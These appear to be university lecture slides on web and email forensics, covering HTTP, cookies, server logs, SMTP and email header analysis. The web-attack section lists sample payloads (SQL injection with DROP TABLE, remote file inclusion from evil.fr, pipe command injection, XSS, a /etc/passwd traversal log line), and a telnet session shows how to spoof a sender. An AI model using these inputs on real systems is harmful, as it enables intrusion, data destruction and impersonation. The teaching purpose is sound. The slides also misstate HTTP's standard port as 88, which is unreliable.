Web and Email Forensics

Section II. Basic Forensic Techniques and Tools

CSF: Forensics Cyber-Security
MSIDC, Spring 2017
Nuno Santos
Summary

- Web forensics
- Email forensics
Two highly relevant applications:

**Web** (HTTP)

**Email** (SMTP, IMAP, POP)
Web forensics
Typical Web application architecture

Client Web Browser → Internet / Intranet → Web Server

HTTP Request

HTTP Response

Web Server → Database Server

SQL Query

Result Set
Together with HTML, HTTP forms the base of WWW
- It is standardized by IETF (rfc 2616)
- Most clients/servers today speak version 1.1
- Runs on top of TCP on the standardized port 88

- It is a request-response protocol
- It is stateless (does not maintain a state of a session)
HTTP request

Request line:

- Method URI HTTP-Version\r\n
Commonly supported methods:

- GET: retrieve information identified by URL
  - Typically used to retrieve an HTML document

- HEAD: retrieve meta-info about the URL
  - Used to find out if a document has changed

- POST: send information to URL and obtain result
  - Used to submit a form
Example HTTP request

HTTP request sent by the browser

GET /tutorials/other/top-20-mysql-best-practices/ HTTP/1.1
Host: net.tutsplus.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20090102 Firefox/3.5.5 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: PHPSESSID=r2t5uvjrq435r4q7ib3vtdjql20
Pragma: no-cache
Cache-Control: no-cache
Example HTTP response

- HTTP response sent by the server

```
HTTP/1.1 200 OK
Transfer-Encoding: chunked
Date: Sat, 28 Nov 2009 04:36:25 GMT
Server: LiteSpeed
Connection: close
X-Powered-By: PHP/5.4.0
Expires: Sat, 28 Nov 2009 05:36:25 GMT
Etag: "pub1259380237;gz"
Cache-Control: max-age=3600, public
Content-Type: text/html; charset=UTF-8
Last-Modified: Sat, 28 Nov 2009 03:50:37 GMT
Content-Encoding: gzip
```
The web is “stateless” – the browser does not necessarily maintain a connection to the server while you are looking at a page.

- You may never come back to the same server - or it may be a long time - or it may be one second later.

So we need a way for servers to know “which session is this?”

- Session IDs stored in “Cookies”
A cookie contains a name and value, and attributes:

- **Expires:** specific data and time to delete the cookie
- **Domain and Path:** the scope of a cookie
- **Secure:** keep cookie communication to encrypted transmission
- **HttpOnly:** exposure only through HTTP (and HTTPS)

**Examples**

```
HTTP/1.0 200 OK
Set-Cookie: lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Jan 2013 21:47:38 GMT; Path=/; Domain=.example.com; HttpOnly
Set-Cookie: made_write_conn=1295214458; Path=/; Domain=.example.com
Set-Cookie: reg_fb_gate=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; Domain=.example.com; HttpOnly
```
E.g., the Internet Explorer uses the Registry a lot

Under the `HKCU\Software\Microsoft\Internet Explorer` key
An attack scenario describes the ways an attacker might exploit the vulnerabilities of a Web app

- The possible attacks to a web application
- A possible attacker
- The web resources that are attacked
Web page defacing

Hacked By k4zuk3

k4zuk3 was here!!! Posted by: Joel G. Matamis, RMT, RN, MSPH, MAN on 2012-12-19, Read More
Attack technique example: SQL injection

- Attacker injects malicious text string, most often a database query, into an available web form that is eventually executed by the database

```
100
SELECT * from my_employee where scode=100
```

- Vulnerable input

```
17 or a=a
SELECT * from my_employee where scode=17 or a=a
```
Example of an SQL injection attack

- Product search:  `blah OR x=x`

- What if the attacker had instead entered:
  
  `blah; DROP TABLE prodinfo;`

- Results in the following SQL:
  
  ```sql
  SELECT prodinfo FROM prodtable WHERE prodname = 'blah';
  DROP TABLE prodinfo;
  ```

- Causes the entire database to be deleted
  
  - Depends on knowledge of table name
  - This is sometimes exposed to the user in debug code called during a database error
Exploit sent in the input URL

- Remote File Inclusion:
  - `/include/?file=http://evil.fr/sh`

- Command Execution:
  - `/lookup.jsp?ip=|+ls+-1`

- SQL Injection:
  - `/product.asp?id=0%20or%201=1`

- XSS (persistent):
  - `/forum.php?post=<script>alert(1);`

- Buffer Overflow:
  - `/cgi-bin/Count.cgi?user=a\x90\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xEE\xff\xff` ...

- ...and many more
Web server logs provide extremely useful information for forensic investigators.

```
134.147.61.15 - - [13/Mar/2012:21:02:13 +0100] "GET /webapp.php?page=blog HTTP/1.1" 200 27140
212.32.45.167 - - [13/Mar/2012:21:05:42 +0100] "GET /webapp.php?page=../../etc/passwd HTTP/1.1" 200 2219
```
Email forensics
Email investigations

- Email has become a primary means of communication
- Email can easily be forged
- Email can be abused
  - Spam
  - Aid in committing a crime …
  - Threatening email, …
Email communication between sender & receiver
Steps in the email communication

1. Alice composes an email message on her computer for Bob and sends it to her sending server smtp.a.org using SMTP protocol.

2. Sending server performs a lookup for the mail exchange record of receiving server b.org through DNS protocol on DNS server mx.b.org for the domain b.org.

3. The DNS server responds with the highest priority mail exchange server mx.b.org for the domain b.org.

4. Sending server establishes SMTP connection with receiving server and delivers the email to Bob’s mailbox on the receiving server.

5. The receiving server receives the incoming email message.

6. The receiving server stores the email message on Bob’s mailbox.

7. Bob downloads the message from his mailbox on receiving server to local mailbox on his client computer using POP3 or IMAP protocols (Bob can optionally use a Webmail program).
<table>
<thead>
<tr>
<th>Post Office Service</th>
<th>Protocol</th>
<th>Characteristics</th>
</tr>
</thead>
<tbody>
<tr>
<td>Stores only incoming messages</td>
<td>POP</td>
<td>Investigation must be at the workstation.</td>
</tr>
<tr>
<td>Stores all messages</td>
<td>IMAP</td>
<td>Copies of incoming and outgoing messages might be stored on the workstation or on the server or on both.</td>
</tr>
<tr>
<td>Web-based send and receive</td>
<td>HTTP</td>
<td>Incoming and outgoing messages are stored on the server, but there might be archived or copied messages on the workstation.</td>
</tr>
</tbody>
</table>
Neither IMAP or POP are involved relaying messages between servers

Simple Mail Transfer Protocol: SMTP

```plaintext
S: 220 smtp.example.com ESMTP Postfix
C: HELO relay.example.org
S: 250 Hello relay.example.org, I am glad to meet you
C: MAIL FROM:<bob@example.org>
S: 250 Ok
C: RCPT TO:<alice@example.com>
S: 250 Ok
C: DATA
S: 354 End data with <CR><LF>.<CR><LF>
C: From: "Bob Example" <bob@example.org>
C: To: "Alice Example" <alice@example.com>
C: Cc: theboss@example.com
C: Date: Tue, 15 January 2008 16:02:43 -0500
C: Subject: Test message
C:
    Hello Alice.
C: This is a test message.
C: Your friend,
C: Bob
C: .
S: 250 Ok: queued as 12345
C: QUIT
S: 221 Bye
{The server closes the connection}
```
Email evidence is in the **email** itself (header)

- Email evidence is **left behind** as the email travels from sender to recipient
  - Contained in the various logs
  - Maintained by system admins

- Law enforcement can use subpoenas to collect emails headers and logs
SMTP headers example

Example of a message header for an email sent from
MrJones@emailprovider.com to MrSmith@gmail.com

Delivered-To: MrSmith@gmail.com
Received: by 10.36.81.3 with SMTP id e3cs239nzb; Tue, 29 Mar 2005 15:11:47 -0800 (PST)
Return-Path: MrJones@emailprovider.com
Received: from mail.emailprovider.com (mail.emailprovider.com
[111.111.111.111]) by mx.gmail.com with SMTP id h19si826631rnb; Tue, 29
Mar 2005 15:11:47 -0800 (PST)
Message-ID: <20050329231145.62086.mail@mail.emailprovider.com>
Received: from [11.11.111.111] by mail.emailprovider.com via HTTP; Tue,
29 Mar 2005 15:11:45 PST
Date: Tue, 29 Mar 2005 15:11:45 -0800 (PST)
From: Mr Jones
Subject: Hello
To: Mr Smith
Reviewing e-mail headers can offer clues to true origins of the mail and the program used to send it.

Common e-mail header fields include:

- Bcc
- Cc
- Content-Type
- Date
- From
- Message-ID
- Received
- Subject
- To
- X-Priority
The Received header

- Received is the most essential field of the email header: it creates a list of all the email servers through which the message traveled in order to reach the receiver.

- The best way to read are from bottom to top:
  - The bottom “Received” shows the IP address of the sender’s mail server.
  - The top “Received” shows the IP address of receiver mail server.
  - The middle “Received” shows the IP address of the mail server through which email passes from sender to receiver.
The Received headers in the example

- From mail.emailprovider.com to mx.gmail.com

```
Received: from mail.emailprovider.com (mail.emailprovider.com [111.111.11.111]) by mx.gmail.com with SMTP id h19si826631rnb; Tue, 29 Mar 2005 15:11:47 -0800 (PST)

Received: from [11.11.111.111] by mail.emailprovider.com via HTTP; Tue, 29 Mar 2005 15:11:45 PST
```
Emails can be spoofed

SMTP is simple, but can be spoofed easily

How to spoof email easily:

```
C: telnet server8.engr.scu.edu 25
C: helo 129.210.16.8
S: 250 server8.engr.scu.edu Hello dhcp-19-198.engr.scu.edu [129.210.19.198], pleased to meet you
C: mail from: jholliday@engr.scu.edu
S: 250 2.1.0 jholliday@engr.scu.edu... Sender ok
C: rcpt to: tschwarz
S: 250 2.1.5 tschwarz... Recipient ok
C: data
S: 354 Enter mail, end with "." on a line by itself
C: This is a spoofed message.
C: .
S: 250 2.0.0 hB00W76P002752 Message accepted for delivery
C: quit
S: 221 2.0.0 server8.engr.scu.edu closing connection
```
Hints for investigation of fake emails

- Verify all IP addresses
  - Keeping in mind that some addresses might be internal addresses

- Make a time-line of events
  - Change times to universal standard time
  - Look for strange behavior
  - Keep clock drift in mind

- Verify inconsistencies in header fields
Some initial things to consider:
- Which users are serviced?
- E-mail retention policies of the company
- Accessibility of the e-mail server

Examining UNIX email logs: an example
- `/Etc/Sendmail.cf`
  - Configuration information for Sendmail
- `/Etc/Syslog.conf`
  - Specifies how and which events Sendmail logs
- `/Var/Log/Maillog`
  - SMTP and POP3 communications
- Check UNIX man pages for more information
Email clients have own file formats for storing email

<table>
<thead>
<tr>
<th>E-Mail Client</th>
<th>Extension</th>
<th>Type of File</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>AOL</strong></td>
<td>.abi</td>
<td>AOL6 organizer file</td>
</tr>
<tr>
<td></td>
<td>.aim</td>
<td>Instant Message launch</td>
</tr>
<tr>
<td></td>
<td>.arl</td>
<td>Organizer file</td>
</tr>
<tr>
<td></td>
<td>.bag</td>
<td>Instant Messenger file</td>
</tr>
<tr>
<td><strong>Outlook Express</strong></td>
<td>.dbx</td>
<td>OE mail database</td>
</tr>
<tr>
<td></td>
<td>.dgr</td>
<td>OE fax page</td>
</tr>
<tr>
<td></td>
<td>.email</td>
<td>OE mail message</td>
</tr>
<tr>
<td></td>
<td>.eml</td>
<td>OE electronic mail</td>
</tr>
<tr>
<td><strong>Outlook</strong></td>
<td>.pab</td>
<td>Personal address book</td>
</tr>
<tr>
<td></td>
<td>.pst</td>
<td>Personal folder</td>
</tr>
<tr>
<td></td>
<td>.wab</td>
<td>Windows address book</td>
</tr>
</tbody>
</table>
Different tools have different ways to read headers:
This message is not flagged. [Flag Message - Mark as Unread]

From Thom Thomas Tue Jul 15 18:34:03 2003

X-Apparently-To: badboy83210@yahoo.com via 215.136.130.41; 15 Jul 2003 18:34:04 -0700 (PDT)
Return-Path: <takin00@hotmail.com>
Received: from 64.4.27.104 (EHLO hotmail.com) (64.4.27.104) by mta114.mail.scd.yahoo.com with SMTP; 15 Jul 2003 18:34:04 -0700 (PDT)
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 15 Jul 2003 18:34:04 -0700
Received: from 130.218.62.189 by by8fd.bay8.hotmail.msn.com with HTTP; Wed, 16 Jul 2003 01:34:03 GMT
X-Originating-IP: [130.218.62.189]
X-Originating-Email: [takin00@hotmail.com]

From: "Thom Thomas" <takin00@hotmail.com> | This is spam | Add to Address Book
To: badboy83210@yahoo.com
Bcc:

Subject: here are the headers
Date: Tue, 15 Jul 2003 21:34:03 -0400
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <BAY8-F104NkDEJmGzrL000148b4@hotmail.com>
X-OriginalArrivalTime: 16 Jul 2003 01:34:04.0105 (UTC) FILETIME=[57485390:01C34B3A]
Content-Length: 223
Forensic tools and services

Email forensic tools

- AccessData’s FTK
- EnCase
- FINALeMAIL
- Sawmill-GroupWise
- DBXtract
- MailBag
- Assistant
- Paraben

Online services

- Geolocation of IP address
  - https://www.iplocation.net
To investigate Web attacks, investigators must be familiar with how Web attacks are engineered and be prepared to find the needle in a haystack of log files.

Email is a fundamental networked application that provides a very important source of digital evidence.

The primary focus of email forensics is the analysis of email headers and server logs.
References

- Primary bibliography
  - [Casey11], Chapter 21, 23.2.1
  - [Casey11], Chapter 21, 23.2.2
Next class

- Advanced tools of cybercrime